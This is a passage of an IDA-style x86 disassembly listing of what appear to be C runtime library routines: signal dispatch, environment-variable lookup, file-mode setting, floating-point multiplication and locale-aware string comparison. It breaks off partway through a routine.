sub_425955	proc near		; CODE XREF: sub_42255C+226Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_4259BC
		dec	eax
		dec	eax
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259AD
		sub	eax, 3
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259A0
		sub	eax, 6
		jz	short loc_425993
		dec	eax
		jz	short loc_425986
		or	eax, 0FFFFFFFFh
		jmp	loc_425A7E
; ---------------------------------------------------------------------------


loc_425986:				; CODE XREF: sub_425955+27j
		mov	esi, dword_4DBC5C
		mov	eax, offset dword_4DBC5C
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_425993:				; CODE XREF: sub_425955+24j
		mov	esi, dword_4DBC58
		mov	eax, offset dword_4DBC58
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259A0:				; CODE XREF: sub_425955+1Fj
		mov	esi, dword_4DBC60
		mov	eax, offset dword_4DBC60
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259AD:				; CODE XREF: sub_425955+10j
					; sub_425955+15j ...
		push	edi
		call	sub_425A82
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259BC:				; CODE XREF: sub_425955+Cj
		mov	esi, dword_4DBC54
		mov	eax, offset dword_4DBC54


loc_4259C7:				; CODE XREF: sub_425955+3Cj
					; sub_425955+49j ...
		cmp	esi, 1
		jnz	short loc_4259D3
		xor	eax, eax
		jmp	loc_425A7E
; ---------------------------------------------------------------------------


loc_4259D3:				; CODE XREF: sub_425955+75j
		test	esi, esi
		jnz	short loc_4259DE
		push	3
		call	sub_41B7C2


loc_4259DE:				; CODE XREF: sub_425955+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_4259F0
		cmp	edi, 0Bh
		jz	short loc_4259F0
		cmp	edi, 4
		jnz	short loc_425A16


loc_4259F0:				; CODE XREF: sub_425955+8Fj
					; sub_425955+94j
		mov	ebx, dword_4DBA30
		and	dword_4DBA30, 0
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	edx, dword_43D02C
		mov	dword_43D02C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425A19
; ---------------------------------------------------------------------------


loc_425A16:				; CODE XREF: sub_425955+99j
		mov	ebx, [ebp+arg_0]


loc_425A19:				; CODE XREF: sub_425955+BFj
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	eax, dword_43D020
		mov	ecx, dword_43D024
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425A4C
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43CFB0h[edx*4]


loc_425A3A:				; CODE XREF: sub_425955+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425A3A
		jmp	short loc_425A4C
; ---------------------------------------------------------------------------


loc_425A45:				; CODE XREF: sub_425955+AAj
					; sub_425955+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425A5A


loc_425A4C:				; CODE XREF: sub_425955+D7j
					; sub_425955+EEj
		push	dword_43D02C
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425A68
; ---------------------------------------------------------------------------


loc_425A5A:				; CODE XREF: sub_425955+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425A68
		cmp	edi, 4
		jnz	short loc_425A7B


loc_425A68:				; CODE XREF: sub_425955+103j
					; sub_425955+10Cj
		cmp	edi, 8
		mov	dword_4DBA30, ebx
		jnz	short loc_425A7B
		mov	eax, [ebp+arg_0]
		mov	dword_43D02C, eax


loc_425A7B:				; CODE XREF: sub_425955+111j
					; sub_425955+11Cj
		xor	eax, eax
		pop	ebx


loc_425A7E:				; CODE XREF: sub_425955+2Cj
					; sub_425955+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425955	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425A82	proc near		; CODE XREF: sub_425955+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D028
		cmp	dword_43CFAC, edx
		push	esi
		mov	eax, offset dword_43CFA8
		jz	short loc_425AB0
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43CFA8h[esi*4]


loc_425AA4:				; CODE XREF: sub_425A82+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425AB0
		cmp	[eax+4], edx
		jnz	short loc_425AA4


loc_425AB0:				; CODE XREF: sub_425A82+16j
					; sub_425A82+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43CFA8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425AC4
		cmp	[eax+4], edx
		jz	short locret_425AC6


loc_425AC4:				; CODE XREF: sub_425A82+3Bj
		xor	eax, eax

locret_425AC6:				; CODE XREF: sub_425A82+40j
		retn
sub_425A82	endp


; =============== S U B	R O U T	I N E =======================================



sub_425AC7	proc near		; CODE XREF: sub_4247EC+23p

arg_0		= dword	ptr  4

		cmp	dword_4DCFF0, 0
		push	ebx
		push	esi
		mov	esi, dword_4DB980
		push	edi
		jz	short loc_425B3E
		test	esi, esi
		jnz	short loc_425AF8
		cmp	dword_4DB988, esi
		jz	short loc_425B3E
		call	sub_425E95
		test	eax, eax
		jnz	short loc_425B3E
		mov	esi, dword_4DB980
		test	esi, esi
		jz	short loc_425B3E


loc_425AF8:				; CODE XREF: sub_425AC7+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_425B3E
		push	ebx
		call	sub_41AFE0
		pop	ecx
		mov	edi, eax


loc_425B09:				; CODE XREF: sub_425AC7+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_425B3E
		push	eax
		call	sub_41AFE0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_425B31
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_425B31
		push	edi
		push	ebx
		push	eax
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425B36


loc_425B31:				; CODE XREF: sub_425AC7+51j
					; sub_425AC7+59j
		add	esi, 4
		jmp	short loc_425B09
; ---------------------------------------------------------------------------


loc_425B36:				; CODE XREF: sub_425AC7+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_425B40
; ---------------------------------------------------------------------------


loc_425B3E:				; CODE XREF: sub_425AC7+10j
					; sub_425AC7+1Cj ...
		xor	eax, eax


loc_425B40:				; CODE XREF: sub_425AC7+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_425AC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_425B44	proc near		; CODE XREF: sub_424F0A+8Bp
					; sub_424F0A+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DCDA0
		jnb	short loc_425BAB
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DCCA0[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425BAB
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425B84
		and	cl, 7Fh
		jmp	short loc_425B91
; ---------------------------------------------------------------------------


loc_425B84:				; CODE XREF: sub_425B44+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425B9F
		or	cl, 80h


loc_425B91:				; CODE XREF: sub_425B44+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_425B9F:				; CODE XREF: sub_425B44+48j
		mov	dword_4DB958, 16h
		jmp	short loc_425BB5
; ---------------------------------------------------------------------------


loc_425BAB:				; CODE XREF: sub_425B44+Bj
					; sub_425B44+27j
		mov	dword_4DB958, 9


loc_425BB5:				; CODE XREF: sub_425B44+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425B44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425BBA	proc near		; CODE XREF: sub_4256C2+165p
					; sub_425DDA+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425DBA
		cmp	cx, 7FFFh
		jnb	loc_425DBA
		cmp	dx, 0BFFDh
		ja	loc_425DBA
		cmp	dx, 3FBFh
		ja	short loc_425C23
		xor	eax, eax
		jmp	short loc_425C5D
; ---------------------------------------------------------------------------


loc_425C23:				; CODE XREF: sub_425BBA+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425C45
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425C45
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425C47
		cmp	[esi], eax
		jnz	short loc_425C47
		jmp	loc_425DB4
; ---------------------------------------------------------------------------


loc_425C45:				; CODE XREF: sub_425BBA+71j
					; sub_425BBA+79j
		xor	eax, eax


loc_425C47:				; CODE XREF: sub_425BBA+80j
					; sub_425BBA+84j
		cmp	cx, ax
		jnz	short loc_425C6A
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425C6A
		cmp	[ebx+4], eax
		jnz	short loc_425C6A
		cmp	[ebx], eax
		jnz	short loc_425C6A


loc_425C5D:				; CODE XREF: sub_425BBA+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_425DD5
; ---------------------------------------------------------------------------


loc_425C6A:				; CODE XREF: sub_425BBA+90j
					; sub_425BBA+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_425C7A:				; CODE XREF: sub_425BBA+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425CCE
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_425C96:				; CODE XREF: sub_425BBA+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425CC1
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_425CC1:				; CODE XREF: sub_425BBA+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425C96


loc_425CCE:				; CODE XREF: sub_425BBA+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425C7A
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425D11


loc_425CEC:				; CODE XREF: sub_425BBA+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425D0A
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250CF
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425CEC


loc_425D0A:				; CODE XREF: sub_425BBA+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425D4A


loc_425D11:				; CODE XREF: sub_425BBA+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425D4A
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_425D2A:				; CODE XREF: sub_425BBA+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425D33
		inc	[ebp+var_14]


loc_425D33:				; CODE XREF: sub_425BBA+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250FD
		dec	ebx
		pop	ecx
		jnz	short loc_425D2A
		cmp	[ebp+var_14], 0
		jz	short loc_425D4A
		or	byte ptr [ebp+var_24], 1


loc_425D4A:				; CODE XREF: sub_425BBA+155j
					; sub_425BBA+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425D61
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425D96


loc_425D61:				; CODE XREF: sub_425BBA+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425D93
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425D8E
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425D88
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D88:				; CODE XREF: sub_425BBA+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D8E:				; CODE XREF: sub_425BBA+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D93:				; CODE XREF: sub_425BBA+1ABj
		inc	[ebp+var_24+2]


loc_425D96:				; CODE XREF: sub_425BBA+1A5j
					; sub_425BBA+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425DBA
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_425DB4:				; CODE XREF: sub_425BBA+86j
		mov	[esi+0Ah], ax
		jmp	short loc_425DD5
; ---------------------------------------------------------------------------


loc_425DBA:				; CODE XREF: sub_425BBA+42j
					; sub_425BBA+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_425DD5:				; CODE XREF: sub_425BBA+ABj
					; sub_425BBA+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425BBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DDA	proc near		; CODE XREF: sub_4251F1+440p
					; sub_4256C2+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43D4A8
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		jge	short loc_425E02
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43D608
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_425E02:				; CODE XREF: sub_425DDA+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_425E0D
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_425E0D:				; CODE XREF: sub_425DDA+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		push	esi
		push	edi


loc_425E14:				; CODE XREF: sub_425DDA+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_425E4C
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_425E3F
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_425E3F:				; CODE XREF: sub_425DDA+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425BBA
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_425E4C:				; CODE XREF: sub_425DDA+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_425E14
		pop	edi
		pop	esi


loc_425E53:				; CODE XREF: sub_425DDA+14j
					; sub_425DDA+36j
		pop	ebx
		leave
		retn
sub_425DDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425E56	proc near		; CODE XREF: sub_425AC7+5Ep
					; sub_426332+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_425E63
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425E63:				; CODE XREF: sub_425E56+7j
		push	dword_4DCDA4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_4DCFC4
		call	sub_425F03
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_425E90
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425E90:				; CODE XREF: sub_425E56+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_425E56	endp


; =============== S U B	R O U T	I N E =======================================



sub_425E95	proc near		; CODE XREF: sub_425AC7+1Ep
					; sub_4261AB+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4DB988
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_425EF6
		mov	ebx, dword_42717C


loc_425EAE:				; CODE XREF: sub_425E95+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_425EFE
		push	ebp
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_425EFE
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx
		test	eax, eax
		jz	short loc_425EFE
		push	edi
		push	[esp+18h+var_4]
		call	sub_4261AB
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_425EAE


loc_425EF6:				; CODE XREF: sub_425E95+11j
		xor	eax, eax


loc_425EF8:				; CODE XREF: sub_425E95+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_425EFE:				; CODE XREF: sub_425E95+29j
					; sub_425E95+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_425EF8
sub_425E95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425F03	proc near		; CODE XREF: sub_425E56+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427CE8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4DBC68, ebx
		push	1
		pop	edi
		jnz	short loc_425F76
		push	edi
		mov	eax, offset dword_427938
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25F0000h
		test	eax, eax
		jz	short loc_425F53
		mov	dword_4DBC68, edi
		jmp	short loc_425F76
; ---------------------------------------------------------------------------


loc_425F53:				; CODE XREF: sub_425F03+46j
		push	edi
		mov	eax, offset dword_4CB50C
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25F060Bh
		test	eax, eax
		jz	loc_42616C
		mov	dword_4DBC68, 2


loc_425F76:				; CODE XREF: sub_425F03+31j
					; sub_425F03+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_425F8D
		push	esi
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_425F8D:				; CODE XREF: sub_425F03+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_425FA2
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_425FA2:				; CODE XREF: sub_425F03+8Dj
		mov	eax, dword_4DBC68
		cmp	eax, 2
		jnz	short loc_425FC7
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25F060Bh
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_425FC7:				; CODE XREF: sub_425F03+A7j
		cmp	eax, edi
		jnz	loc_42616C
		cmp	[ebp+arg_18], ebx
		jnz	short loc_425FDC
		mov	eax, dword_4DBA24
		mov	[ebp+arg_18], eax


loc_425FDC:				; CODE XREF: sub_425F03+CFj
		cmp	esi, ebx
		jz	short loc_425FE9
		cmp	[ebp+arg_14], ebx
		jnz	loc_426081


loc_425FE9:				; CODE XREF: sub_425F03+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_425FF6


loc_425FEE:				; CODE XREF: sub_425F03+13Cj
					; sub_425F03+16Dj
		push	2


loc_425FF0:				; CODE XREF: sub_425F03+146j
		pop	eax
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_425FF6:				; CODE XREF: sub_425F03+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_426002


loc_425FFB:				; CODE XREF: sub_425F03+151j
					; sub_425F03+159j ...
		mov	eax, edi
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_426002:				; CODE XREF: sub_425F03+F6j
		cmp	esi, edi
		jg	short loc_426047
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 28B0000h
		test	eax, eax
		jz	loc_42616C
		cmp	esi, ebx
		jle	short loc_42604B
		cmp	[ebp+var_3C], 2
		jb	short loc_426047
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_426047


loc_42602D:				; CODE XREF: sub_425F03+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_426047
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426041
		cmp	cl, dl
		jbe	short loc_425FEE


loc_426041:				; CODE XREF: sub_425F03+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42602D


loc_426047:				; CODE XREF: sub_425F03+101j
					; sub_425F03+120j ...
		push	3
		jmp	short loc_425FF0
; ---------------------------------------------------------------------------


loc_42604B:				; CODE XREF: sub_425F03+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_426081
		cmp	[ebp+var_3C], 2
		jb	short loc_425FFB
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_425FFB


loc_42605E:				; CODE XREF: sub_425F03+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_425FFB
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426076
		cmp	cl, dl
		jbe	loc_425FEE


loc_426076:				; CODE XREF: sub_425F03+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42605E
		jmp	loc_425FFB
; ---------------------------------------------------------------------------


loc_426081:				; CODE XREF: sub_425F03+E0j
					; sub_425F03+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		nop
		call	near ptr 2820000h
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_42616C
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4260D0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_4260D0:				; CODE XREF: sub_425F03+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_42616C
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_427180
		call	esi
		test	eax, eax
		jz	short loc_42616C
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_42616C
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42613B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_42613B:				; CODE XREF: sub_425F03+224j
		cmp	edi, ebx
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2820000h
		test	eax, eax
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25F0000h
		jmp	short loc_42616E
; ---------------------------------------------------------------------------


loc_42616C:				; CODE XREF: sub_425F03+63j
					; sub_425F03+C6j ...
		xor	eax, eax


loc_42616E:				; CODE XREF: sub_425F03+BFj
					; sub_425F03+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_426180	proc near		; CODE XREF: sub_422ACA+81p
					; sub_425F03+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42619D


loc_426190:				; CODE XREF: sub_426180+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_42619D
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_426190


loc_42619D:				; CODE XREF: sub_426180+Ej
					; sub_426180+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4261A8
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_4261A8:				; CODE XREF: sub_426180+21j
		mov	eax, edx
		retn
sub_426180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4261AB	proc near		; CODE XREF: sub_425E95+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_42620F
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4263F1
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_42620F
		cmp	[ebp+arg_0], esi
		jz	short loc_42620F
		mov	eax, dword_4DB980
		xor	ebx, ebx
		cmp	[esi+1], bl
